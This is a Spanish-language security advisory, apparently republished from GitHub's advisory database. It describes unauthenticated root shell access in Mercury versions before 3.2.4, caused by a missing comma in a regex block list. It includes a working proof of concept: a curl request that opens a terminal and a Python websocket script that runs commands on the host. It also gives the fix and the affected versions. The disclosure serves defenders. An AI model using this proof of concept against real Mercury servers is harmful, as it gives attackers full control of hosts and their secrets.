Mercury: Ejecución remota de código no autenticada en /api/terminals por evasión de control de acceso
Resumen
Una coma faltante en la lista BLOCKED_PATTERNS de mercury_app/block_handler.py hace que la lista de bloqueo no cubra el endpoint /api/terminals. Como resultado, cualquier atacante no autenticado puede generar una shell interactiva completa a nivel del sistema operativo en el host que ejecuta Mercury.
Detalles
La lista de bloqueo en mercury_app/block_handler.py se define como:
BLOCKED_PATTERNS = [
# JupyterLab UI + API
r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?"
r"/api/terminals(?:/.*)?",
r"/api/shutdown(?:/.*)?",
r"/files(?:/.*)?",
]
La falta de una coma entre la primera y la segunda línea hace que Python una las reglas; por lo tanto, la lista real que se bloquea se ve de la siguiente manera:
/lab...(?:/.*)?/api/terminals(?:/.*)? (las dos primeras líneas unidas)
/api/shutdown(?:/.*)?
/files(?:/.*)?
Una solicitud directa a /api/terminals no coincide con ninguna de las reglas de la lista de bloqueo de 3 y, por lo tanto, no se bloquea, alcanzando la API de terminal integrada de Jupyter Server, la cual genera una shell de sistema operativo real accesible a través de una conexión WebSocket. No se requiere autenticación, cuenta, sesión ni acceso previo a Mercury.
PoC
Las pruebas se realizaron en una implementación local de Docker (https://runmercury.com/deploy/dockerfile/), Mercury versión 3.2.3, configuración predeterminada).
Paso 1 - generar un terminal:
curl -i -X POST http://localhost:8888/api/terminals
Respuesta: {"name": "1", "last_activity": "..."}
Paso 2 - conectarse al terminal y ejecutar comandos:
python3 -c "
import websocket, json, time
ws = websocket.create_connection('ws://localhost:8888/terminals/websocket/1')
print(ws.recv())
ws.send(json.dumps(['stdin', 'whoami && id\n']))
time.sleep(1)
ws.settimeout(2)
try:
while True:
print(ws.recv())
except Exception:
pass
"
Salida observada:
["setup", {}]
["stdout", "# "]
["stdout", "whoami && id\r\n"]
["stdout", "root\r\n"]
["stdout", "uid=0(root) gid=0(root) groups=0(root)\r\n# "]
Confirma acceso interactivo completo con permisos de root sin autenticación ni acceso previo de ningún tipo.
Impacto
- Confidencialidad: acceso de lectura completo a cualquier archivo al que el proceso de Mercury pueda acceder (cuadernos, datos cargados, variables de entorno, secretos).
- Integridad: el atacante puede modificar o eliminar cualquier archivo, incluidos los cuadernos servidos a otros usuarios.
- Disponibilidad: el atacante puede apagar o bloquear el servidor/contenedor.
- Movimiento lateral: la shell se puede utilizar como punto de apoyo para atacar otros sistemas accesibles desde la red del host.
Explotable por cualquier cliente de red que pueda comunicarse con el servidor Mercury, incluido a través de la red pública de internet si se implementa sin controles de acceso adicionales (VPN, autenticación mediante reverse-proxy, firewall).
Solución
Añadir la coma faltante para que /api/terminals sea una regla independiente en la lista de bloqueo:
BLOCKED_PATTERNS = [
# JupyterLab UI + API
r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?",
r"/api/terminals(?:/.*)?",
r"/api/shutdown(?:/.*)?",
r"/files(?:/.*)?",
]
Qué hacer
Actualice a Mercury versión 3.2.4 o posterior.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | mercury | >= 3.0.0, < 3.2.4 | 3.2.4 |
Referencias
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H- Debilidad (CWE)
CWE-185, CWE-284- Plataforma
- Python (PyPI)
- Paquete
mercury- Publicada
- 19.10.2026
- Actualizado
- 20.10.2026 09:54
Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.
OSV / GitHub Advisory Database - GHSA-f8c7-rwf9-fmgm - CC BY 4.0
Historial de vulnerabilidades: mercury
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 2
- Primera → última
- 10.2026 10.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 2
Divulgaciones por año
- 2026: 2
-
Mercury: Ejecución remota de código no autenticada en /api/terminals por evasión de control de acceso esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.